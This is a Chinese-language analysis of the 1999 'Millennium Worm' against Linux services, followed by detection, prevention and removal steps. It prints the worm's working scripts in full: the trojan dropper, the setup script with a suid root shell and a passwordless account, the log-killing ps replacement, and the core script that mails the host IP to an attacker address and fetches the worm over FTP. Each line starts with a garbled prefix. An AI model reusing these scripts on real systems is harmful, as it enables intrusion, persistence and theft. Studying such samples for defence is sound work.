一、简介
n$0$ 43f %gT`-k}kca 千年蠕虫(The Millennium Internet Worm)——后面简称worm,是一段script及程序组成的,它执行的功能是利用linux系统的某些远程漏洞,获取该系统的进入权限,并且将自身复制到其上并继续繁殖。现在发现的worm是针对x86的linux中imap4v10.X,Qualcomm popper, bind , rpc.mountd 这些存在明显漏洞的服务进攻的。但它也做了一件好事——修补了安全漏洞……
eq~eie H@ n]r %NAc 二、技术分析
Egf@6, e V-79Np 我们最早发现的蠕虫据称是在ADMmountd2的远程漏洞利用程序中的(这个程序是对linux的rpc.mountd服务进行攻击并可获取最高权限——这里不详述),但ADM组织否认曾经发布过带有该特洛伊程序的代码,并将其归类于假冒ADM作品,可以参见
ftp://adm.freelsd.net/ADM/FAKES/ maintained by
ndubee@df.ru].
QW~-(KQ&Y OHibuuNwj 这个木马是放在ADMmountd的所谓更新版本中,并在措词中表明这一版本的利用程序更为实用,但其实隐蔽的代码就躲在ADMgetip.c中,ADM在其站点限制了对这一工具的下载,所以这里我把它提供给大家,仅仅是用于教育目的——这一木马于1999-8-15被发现。
%w (eF"Z r0}_Zt(XN| 你可以在
http://focus.silversand.net/newsite/tool/adm_fake.c下载ADMgetip-TROJAN-VERSION.c。
Sj`=Pn7"A_ 'S*'CW( 1、原型
DW; ZL rb]]\ Yq 该代码段中有一段mworm.tgz的uuencode代码,当运行该程序时,它会被展开于目录/var/tmp/tmp,并且执行一个名为wormup的程序,代码段如下:
Wn ,=Kg J}wx;Pa= //Trojan Code from ADMgetip.c
AE Q#H*z4 wB+T<K Lt* FILE *fp=fopen("/var/tmp/tmp","w"); //打开文件
2'L2D=* if(getuid()!=0) { fprintf(stderr,"operation not permitted\n"); exit(0); }
v?2</D //检查uid是否为root
<97[0is fprintf(fp,"begin-base64 644 mworm.tgz
CO=>-a*~/ H4sIANpU/TYAA+xaD3CUx3XfOx1wHALEHxts4/hDRrYE0vHdSQJkgQsIYWhk
Yb5Q' jDG UCSQHSM4n+6+4ztxujvfHypiuwEr1DqEYsWeTp1MUhOctEnr6biMnSbFY8vA
~c1Z0};: YNyBlGB3ShonZVy3ORmSIZgabMtcf293v7vvOwk7k4k7k5l8o3f7vd23b9++
j[x7v" ... [ large uuencoded mworm.tgz here ]
=\05oxl9 emgL0uE1iuMHR6u1MaA8jUhjOHm2+OzzGLqoNLv0SRpBuNS6XmDYdwe6Z55f
q[ 0fM bYCEt3q80+XpdMU1NM8J2FDCra2crXTRduAMD0Johcwe8ODFVzDnnwNKJcF8
\ {,*)6 ivJ+7s3IgAEDBgwYMGDAgAEDBgwYMGDAgAEDPxS+AlHjZQIA+AIA
yr+~IwR ====\n"); //这是一段很长的uuecoded过的代码
d\("U86$ system("( cd /var/tmp;uudecode < tmp ; sleep 1; tar xzvf mworm.tgz;\
y*:7({M4 ./wormup ) >/dev/null 2>/dev/null &"); //解码并执行wormup程序
WvtfK%7O" r[k!hbZj2 注意如果权限并非root的话,是无法继续的,该mworm.tgz展开后有如下文件:
*Rl?NV! zI?^D_}yu Directory of /var/tmp
O/ax~k 'bl *`>+`1%M -rw-r--r-- 1 root root 51564 Aug 17 22:21 mworm.tgz
8LA;1` + -rwxr-xr-x 1 root root 8647 Dec 31 1999 Hnamed*
FzG`!" -rwxr-xr-x 1 root root 5173 Dec 31 1999 Hnamed.c*
oEYTSYN -rwxr-xr-x 1 root root 477 Dec 31 1999 IP*
S*FV0d}A -rwxr-xr-x 1 root root 1728 Dec 31 1999 README-ADMINS*
Pq3H{Kjd -rwxr-xr-x 1 root root 5749 Dec 31 1999 bd*
@lq^GARP* -rwxr-xr-x 1 root root 1340 Dec 31 1999 bd.c*
a.W>Pkf -rwxr-xr-x 1 root root 0 Dec 31 1999 cmd*
Ra#X?Vde -rwxr-xr-x 1 root root 5292 Dec 31 1999 ftpscan*
A4R6^X5 -rwxr-xr-x 1 root root 911 Dec 31 1999 ftpscan.c*
$Z P<Or# -rwxr-xr-x 1 root root 8750 Dec 31 1999 ftpx*
4sH}$Orefo -rwxr-xr-x 1 root root 5108 Dec 31 1999 ftpx.c*
7Wz|i?@& -rwxr-xr-x 1 root root 2398 Dec 31 1999 getip.c*
h~h u -rwxr-xr-x 1 root root 6436 Dec 31 1999 im*
'*i6i{k\ -rwxr-xr-x 1 root root 2634 Dec 31 1999 im.c*
c at5 %h -rwxr-xr-x 1 root root 151 Dec 31 1999 infect*
& dAdO%x -rwxr-xr-x 1 root root 1 Dec 31 1999 infected*
\W(7wRa(.w -rwxr-xr-x 1 root root 2755 Dec 31 1999 ip_icmp.h*
k3G qw -rwxr-xr-x 1 root root 6175 Dec 31 1999 mount.h*
b\uwv83 -rwxr-xr-x 1 root root 5152 Dec 31 1999 mount.x*
,"lk!6Y< -rwxr-xr-x 1 root root 2222 Dec 31 1999 mount_clnt.c*
CH}(*'y! -rwxr-xr-x 1 root root 3178 Dec 31 1999 mount_svc.c*
7k_IQ*VT -rwxr-xr-x 1 root root 2366 Dec 31 1999 mount_xdr.c*
i >dc,!s -rwxr-xr-x 1 root root 13048 Dec 31 1999 mountd*
%!0Q,In8 -rwxr-xr-x 1 root root 7723 Dec 31 1999 mountd.c*
<[p\!T"c -rwxr-xr-x 1 root root 668 Dec 31 1999 mwd*
H>iDo7yIe7 -rwxr-xr-x 1 root root 561 Dec 31 1999 mwd-ftp*
y Yenv@ -rwxr-xr-x 1 root root 448 Dec 31 1999 mwd-imap*
8ek_*C -rwxr-xr-x 1 root root 355 Dec 31 1999 mwd-mountd*
!6kKq= ]4M -rwxr-xr-x 1 root root 529 Dec 31 1999 mwd-pop*
~Bue<LI -rwxr-xr-x 1 root root 755 Dec 31 1999 mwi*
z5 cF`d -rwxr-xr-x 1 root root 844 Dec 31 1999 mworm*
Xy+ #A(I -rwxr-xr-x 1 root root 4617 Dec 31 1999 mwr*
~y!vq2z & -rwxr-xr-x 1 root root 407 Dec 31 1999 mwr.c*
pd:t -rwxr-xr-x 1 root root 5849 Dec 31 1999 mws*
+U4 !=ss -rwxr-xr-x 1 root root 1522 Dec 31 1999 mws.c*
/d$"8G$@_ -rwxr-xr-x 1 root root 1439 Dec 31 1999 pgp*
YW:fj8W7 -rwxr-xr-x 1 root root 1226 Dec 31 1999 prepare*
W eRkz9 -rwxr-xr-x 1 root root 5430 Dec 31 1999 q*
LT+W>/dj -rwxr-xr-x 1 root root 1350 Dec 31 1999 q.c*
HQ=CYju -rwxr-xr-x 1 root root 6785 Dec 31 1999 qp*
*fW8#Fn'a -rwxr-xr-x 1 root root 2886 Dec 31 1999 qp.c*
oi8@aR -rwxr-xr-x 1 root root 5680 Dec 31 1999 remotecmd*
CaQG -rwxr-xr-x 1 root root 1834 Dec 31 1999 remotecmd.c*
WE$ve!= -rwxr-xr-x 1 root root 7286 Dec 31 1999 test*
! Wyzt(3[ -rwxr-xr-x 1 root root 4355 Dec 31 1999 test.c*
w x'Qz -rwxr-xr-x 1 root root 1037 Dec 31 1999 wormup*
FW}2X4Mi =[*]a0R2 (q] tJ 在该文件展开后,第一件事就是执行wormup代码,内容如下:
$@KlGm \b|bEFl # cat wormup
"D$HD -S e_ jtd_vy #!/bin/sh
?V i}J # MILLENNIUM WORM SETUP SCRIPT
+m|DIB l # ./wormup -dist = create a new build
I; qkK_B # ./wormup & = install the worm (root)
I#;Jf} if [ x$1 = "x-dist" ]
c}fK& then
l~**h$HH echo "Creating Millennium Worm distribution."
+m7Us`1 indent *.c
)lE-4\ l( rm -f *~
g6[q6,#Z echo -n "Compiling: "
Ro0925IS^ for C in Hnamed q bd im qp ftpscan mwr remotecmd ftpx mws test
GWz.)/, do
/jZl.| rm -f $C
OFQ(` gcc -Wall -O2 ${C}.c -o $C
c>;v3D echo -n $C" "
::Q3Hde[f done
(W&+D428 rm -f mountd
a"HXl}83P rpcgen -C mount.x && gcc -Wall -O2 mountd.c -o mountd \
$,bS-` >/dev/null 2>/dev/null
LP&5HPJ echo "mountd ..done"
P \H@?u& echo -n "Fixing misc. file stuff... "
b*'kr_\l printf "" > cmd
(?9qD` printf "0" > infected
6"VMh_a chmod 755 *
#W@}cNK touch -t 010100002000.00 *
` @A^^H echo "done."
c 1*GAKY rm -f mworm.tgz
7/0t`pfv tar czf mworm.tgz *
C3~fgF.'; echo "Finished. mworm.tgz recreated."
h p0~G4 exit 0
b xc}yz fi
w6Ipy if [ $UID != 0 ] ; then
>"oeX]_],H echo You need root to screw up this machine, sorry.
!ay MeMat exit 0
`$qv#d&2 fi
})Gl- cp /bin/sh /bin/.mwsh && chmod 4755 /bin/.mwsh
IMlSY:%@ mkdir /tmp/.... && cp mworm.tgz /tmp/....
&:3 T echo mw::2222:555:millennium worm:/:/bin/sh >>/etc/passwd
Pk2 ./& cd /tmp/.... && tar xzvf mworm.tgz
0J ujNu`v ./mworm >/dev/null 2>/dev/null &
R:Y {-)-} echo "Millennium Worm(tm). Phear thy unix like thyself."
CN SEgcjE( &8sB;'h 这段代码做了以下几件事情
M $R+fT8mY =efHn!y|M 删除并且重新编译worm.tgz里的二进制文件。
m li"+ 准备通过网络感染的程序
6y]~|Y"0 给cmd文件清零,以便稍候使用
]JKSet. 给infected文件清零,用来充当counter
Z}(BX#GVP 将所有文件的许可权限设为755
{<Qf=ms?E 将所有文件的时间戳设为2000-1-1, 00:00:00
=GuKfmA{ 重新将mworm.tgz这家伙打好包放在/var/tmp中
Q{ljm^ l"LuEo&3a 2、在本地机器上的行为
8xRb8H.k$ NT`21l{( 当它被安装于机器中时,该蠕虫会运行wormup脚本执行下面的工作:
-IQVH"cdo Rc7:!\F' 建立一个没有密码的帐号mw
3nyF{z!_ 拷贝一个suid的root shell到/tmp/.mwsh
Hj@VVf 发动蠕虫
UD_Y,C 9.uDdT'!w 在蠕虫发动后,会有下列情况发生:
?`K4OV2 C1 ^Q.f[# 蠕虫会把自己加在/etc/rc.d/rc.local以及/etc/profile中将系统的IP地址发送到
trax31337@hotmail.com这个email地址,通过随意地扫描并攻击网络其它主机,将自身复制到上面
Pkh/4D"w g]ry)&&; 3、在网络中的行为
&qIOG j +Xkqi 任何被获得了root权限并安装了蠕虫的机器都会被激活并参与展开进攻感染行为,需要记住,该脚本有一
b@#4`z5oI 个-dist的选项并没有被马上使用到,首先我们先看它做什么:
Fm G[o, ^XRW +F3 建立一个suid的root shell/tmp/.mwsh
e~2| 2 在/etc/passwd中加入一个名为mw,uid为2222,密码为空的帐号
!zMW',K 将mworm.tgz展开到/tmp/...
\._nc0u 执行mworm
`Id^8b= o| -y #cat .mworm
a:S R :.%IH #!/bin/.mwsh
]Q`@2D # Millennium Worm by Anonymous
Q 5'-iw< # If you found this on your machine, but didn't download it
4}_ptjJy # well.. you have a problem :)
L T-gG export PATH="/bin/:/usr/sbin/:/usr/bin:/sbin:/usr/local/bin:."
a`|%F| export IP_A=`./IP`
x!AnKujc0 2B8 SA ./prepare for your d00m mortalz
7/H1H, XV;b UO cat << _EOF_ > cmd
E,Z\* h bC mw
Z/dWa& mw
L1Y% 94 mw
zGfaMwpd mw
1|XT94c mw
r&>@,N)d /bin/.mwsh -c "/usr/sbin/named" &
BX=3;xYw export PATH="/bin/:/usr/sbin/:/usr/bin:/sbin:/usr/local/bin:."
4 P'Ju*B`. mkdir /tmp/....
v}rY^a{<(D cd /tmp/....
4(S|C2Q[ if [ -f /tmp/.X12 ]
<|a:!: then
ztEaSaK& logout
|B,clp6FZX fi
U+&dGt9C_ ftp $IP_A
t5^lmNR1 mw
# 9j>tY]b v}J:|)cHs z?;.q cd /tmp/....
BeGtF.u*x get mworm.tgz
"20+YX- bye
(%d5 S tar xvzf mworm.tgz
ku A7^[^g touch /tmp/.X12
WgUcRd= nohup ./mworm &
9M`HuKs* ./IP | mail `printf "\x74\x72\x61\x78\x33\x31\x33\x33\x37\x40\
Rm(aU_E,v \x68\x6f\x74\x6d\x61\x69\x6c\x2e\x63\x6f\x6d"`
` ? D]){ logout
peFPX0m _EOF_
g*KE W~X5&( ~ ./mwd &
#A1,ygT 9 ./mwd-pop &
R6H'?qq9R ./mwd-imap &
\gunzho@" ./mwd-mountd &
?!l]1WP ./mwd-ftp &
> coBB$ sleep 60
m\;*(D)(M nohup ./mwd &
9l+x}wl5 nohup ./mwd-pop &
2tTeE]Y nohup ./mwd-imap &
M QntPc6(A nohup ./mwd-mountd &
UAeUn nohup ./mwd-ftp &
28i5 gK! Rb@_[q /bin/.mwsh -c ./bd
1d9KzDeza t}c@nKQa# 7"4Hno3|\f 这段脚本看来是这个worm的核心所在了,它执行下面功能:
3nG.H:nQ{i 5,L, hr 运行准备好的脚本——附于下面
]1Ol*equw; 建立一个cmd脚本——是将对目标机器执行的命令
&*=Q"[QJ 发送email——包含该主机的IP地址——到
trax31337@hotmail.com TwN[ AeV? 发动守护进程mwd, mwd-pop, mwd-imap, mwd-mountd, and mwd-ftp
bOK7PI5Cq~ 运行bd,这是一个后门,绑定端口1338并允许在收到验证密码为millennium后以root身份进入。
ku`~wuL B"~ AUI/ #cat prepare
*$G`#kAp m[G wW7 ? #!/bin/.mwsh
s/%DxP& # Millennium Worm Preparation File
cr1#4O4 # This sets up the stuff to make sure your
p!lC]|u; # machine will be owned in a neat and proper way ;D
g0/~A _{] 60hVgd2Pb export PATH="/bin/:/usr/sbin/:/usr/bin:/sbin:/usr/local/bin:."
+h3i6+%ew =+*b0NY- if [ -f /bin/.ps ]
8c3A@PCfea then
\UX]R`2 printf ""
Vv_fU0t3& else
h 0W>toO ./README-ADMINS >/dev/null 2>/dev/null &
v3 c+Y mv /bin/ps /bin/.ps;echo "/bin/.ps \$* | grep -v ps | grep -v mw | \
qOh/ J{; grep -v grep" >> /bin/ps ; chmod 755 /bin/ps
k98 l${ if [ -f /etc/rc.d/rc.local ]
8aM : U:w then
ojJ9E*z+ echo "( sleep 10 ; cd /tmp/..../ ; ./mworm ) >>/dev/null & " \
')v}ECLVI >> /etc/rc.d/rc.local
Rt!,lCD else
lm: P echo "( sleep 10 ; cd /tmp/..../ ; ./mworm ) >>/dev/null & " \
!m$ ]$]I >> /etc/profile
< V57" } fi
w+yu|LjN chattr +ia /tmp/..../*.c /tmp/..../mwd* /tmp/..../prepare /bin/.mwsh
>"-^G~S chattr +ia /etc/rc.d/rc.local /etc/profile /tmp/..../mwo* /tmp/..../IP
vwq mXn chattr -ia /tmp/..../mount_*.c
>\zW] fi
Pg }b;{ zL75cNf killall -q -9 syslogd
[*[n #j4_}MK gcc -Wall -O2 Hnamed.c -o Hnamed
lAoJGa&Pk gcc -Wall -O2 mwr.c -o mwr
T6CgQY|:-_ gcc -Wall -O2 q.c -o q
L^oRE~' gcc -Wall -O2 remotecmd.c -o remotecmd
b3X1T/VX gcc -Wall -O2 test.c -o test
\Jm3k v gcc -Wall -O2 bd.c -o bd
T d 62%b< gcc -Wall -O2 im.c -o im
4fboD( gcc -Wall -O2 qp.c -o qp
&0w;7 gcc -Wall -O2 mws.c -o mws
70NUiK1 gcc -Wall -O2 ftpscan.c -o ftpscan
P$-6) wZmb gcc -Wall -O2 ftpx.c -o ftpx
C6f{Y: rpc=`which rpcgen`
>65%N]=jE* which rpcgen && $rpc -C mount.x && gcc -Wall -O2 mountd.c -o mountd
z IL; k,C"k- /bin/.mwsh -c ./bd &
;-&} 3`M- }Ov g~s# "Ksi#>,Ku 不用多说了,这段脚本执行了下面的工作:
H@z\tC'w >Hh[W'- 运行了"README-ADMINS",将主机弄安全些。
m!>>c`cg 将ps用假的替换掉,以便隐藏该worm
-6`", kRg 将自己加到系统开始时的rc文件中
1oJvb qL 将worm的文件变为不可更改,不可删除——但root可以用chattr来改变
cCaoXK 杀掉syslogd
d/4a# o` 运行bd,打开1338的root shell允许远程root以millennium密码登入
]R\q g|`E ))4Wc. 三、删除蠕虫
h9]+,>>m DFzViif 1、检测主机:
a-:VW O$MCz /etc/passwd中有一个密码为空的mw帐号
sd3 UO q+ /tmp/.mwsh存在并且是一个suid的root shell
$v=`V\3'k /tmp/....夹存在并且里面有worm的一些文件
W`[Yg3~d? /etc/rc.d/rc.local的文件被更改并且放入了mworm,以便自启动
$UUu O3l /etc/profile文件被更改
uJ RMQhi6 syslogd进程莫名其妙地终止了
i7>@/IyZ*e mountd被停掉了
65fs&E ~, dns服务被过滤掉
wZwCe*0Q qpop和imap被升级了;)
tQE*U 6~< /etc/hosts.deny和/etc/hosts.allow被清空
bsE2QE> 下面的进程在跑.mwsh, mworm, Hnamed, remotecmd, mwd, mwd-ftp,
qG4u"m'pr mwd-imap, mwd-pop, mwd-mountd, ps ("bd" 的后门伪装成的ps)
Shk_ GR|< 6!sFT+(+ 1^{R 2、检查网络:
Opl?eTif0 S#4 hJ;$T 有email外发至
trax31337@hotmail.com $: Y@E4z 有名为mw的用户从ftpd服务登入或者收到mworm.tgz文件
_N^==Z T?T (这两个检测并不一定准确,因为syslogd被停了,如果有设代理的话则可能在代理的记录里可能找到)
:~4n7J.3 tcp连接到端口1338——绑定的后门
]MX>NXg: 从53端口的外发信息——可能是bind漏洞攻击
jD<^4GQ= 从110端口的外发信息——可能是qpopper漏洞攻击
Rwo?r YA 从143端口的外发信息——可能是imapd漏洞攻击
@BsU.b:729 从635端口的外发信息——可能是rpc.mountd漏洞的攻击
W9J;r5$I>J 从23端口的外发信息——可能是worm在通过remotecmd散布
82Gsp* r! &ei-k1K [lw4wRC 3、预防
JjX}(CYQ RV*4<_:Rv 升级——worm是利用系统的远程漏洞获得roo权限才能攻击的,如果升级到最新的版本,就不会存在这些特殊而且明显的漏洞了,那么也就有效地将worm阻于门外,不过要记住,任何一个攻击者都可以轻易地将这个worm稍加更改用于现在的系统,现在的漏洞,来攻击你现在的机器;),所以最的的办法只能是关注网络安全;)
G]/~|# n LLo# 红帽子的用户可以到
http://www.redhat.com/errata/获取相关信息
V]dhuF5f%w \Y2+.*2Z 4、修复
\ }TY"xP H$ "w 如果已经被worm感染的话,要修复它是很容易的,你只需要:
7dm}([m} z4Q5=[-#J( 删除suid的root shell[/bin/rm -rf /tmp/.mwsh]
08/rq7 停止运行中的worm进程[/usr/bin/killall -9 mworm]
6q1PC?DJ 去除在mworm文件上的写保护标记[/usr/bin/chattr -R -ia /tmp/....]
l4>gh_ - 删除worm文件[/bin/rm -rf /tmp/....]
p[&47pPV- 将正常的ps文件拷回去[/bin/cp /bin/.ps /bin/ps]——最好重新build一个吧;)
= 9Sn0RmvM 将mw用户从/etc/passwd中移除[/usr/sbin/userdel -r mw]
J\L*|"C)7 将worm的自启动的东西从/etc/rc.d/rc.local及/etc/profile中删除
U>nn 09 杀掉bd的后门的进程,如果你已经删掉了worm的文件,重新启动就可以去掉它了
foti|#FsTS B/L*(QH' 如果你已经被worm所感染的话,那至少表明你的系统曾经完全地被别人拥有过,他有能力对系统做任何事,所以仅仅杀掉worm的进程,删除其文件,删除mw的用户等工作仅仅是去掉了一些公式化的东西,所以不能保证你的机器里还有些什么新奇有趣的后门或者其它东西,最好的办法——还是关注安全……